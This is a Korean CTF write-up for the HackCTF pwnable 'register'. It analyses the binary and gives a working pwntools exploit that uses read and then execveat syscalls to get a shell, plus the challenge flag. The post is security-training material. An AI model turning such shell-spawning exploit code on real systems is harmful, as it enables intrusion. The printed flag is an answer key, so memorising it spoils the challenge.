이번에는 register 문제이다.
이건 풀면서 되게 재밌었던 기억이 난다.
canary, NX, partial Relro
main은 심플하다.
바로 build로 넘어가보자
build에서는 SIGALRM이 발생하면 handler라는 놈으로 처리한다.
handler 내부를 뒤적거리다가 exec_syscall_obj가 보이는데
result에는 obj의 주소값이 넘어간다.
그리고 syscall을 해준다.
그리고 get_obj 함수이다. get_obj에는 문제 제목처럼 register 값을 입력하는거 같다.
그리고 validate_syscall_obj 함수인데 v0[0] = rax를 체크하는 루틴같다
그러면 대충 전체적인 로직을 파악했을때 어떻게 익스를 할 수 있을까
간단하다
exec_syscall_obj에서 syscall을 해주니 우리도 syscall로 익스를 하면 된다.
익스 시나리오는
1. rax = 0
2. read 호출
3. rdi, rsi, rdx 순으로 0, [data or bss], len('/bin/sh\x00")
4. /bin/sh\x00 전송
5. rax = 322
6. execveat 호출
3. rdi, rsi , rdx, rcx, r8 순으로 0, 0, [data or bss], NULL, NULL, 0 넣어주면 끝
from pwn import *
# p = remote("ctf.j0n9hyun.xyz", 3026)
p = process("./register")
e = ELF('./register')
def register(rax, rdi, rsi, rdx, rcx, r8, r9):
p.sendlineafter("RAX: ", str(rax))
p.sendlineafter("RDI: ", str(rdi))
p.sendlineafter("RSI: ", str(rsi))
p.sendlineafter("RDX: ", str(rdx))
p.sendlineafter("RCX: ", str(rcx))
p.sendlineafter("R8: ", str(r8))
p.sendlineafter("R9: ", str(r9))
register(0, 0, e.bss() + 0x300, len('/bin/sh\x00'), 0, 0, 0)
sleep(0.1)
p.send('/bin/sh\x00')
register(322, 0, e.bss() + 0x300, '\x00', '\x00', 0, 0)
p.interactive()
처음에 execve로 안되서 그냥 excevat으로 아다리 맞춰서 풀었는데
다른 분들 롸업보니까 아까 rax check 루틴에 59번을 필터링하는 부분이 있어서 execve가 안되는거였다
ls로 열심히 아다리 맞춘 흔적ㅋㅋ;
FLAG : HackCTF{6316964770251056468501091137477179868692}
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] Unexploitable #2 (0) | 2021.10.18 |
---|---|
[Pwnable] World Best Encryption Tool (0) | 2021.10.18 |
[Pwnable] RTC (0) | 2021.10.18 |
[Pwnable] SysROP (0) | 2021.03.08 |
[pwnable] Look at me (0) | 2021.02.22 |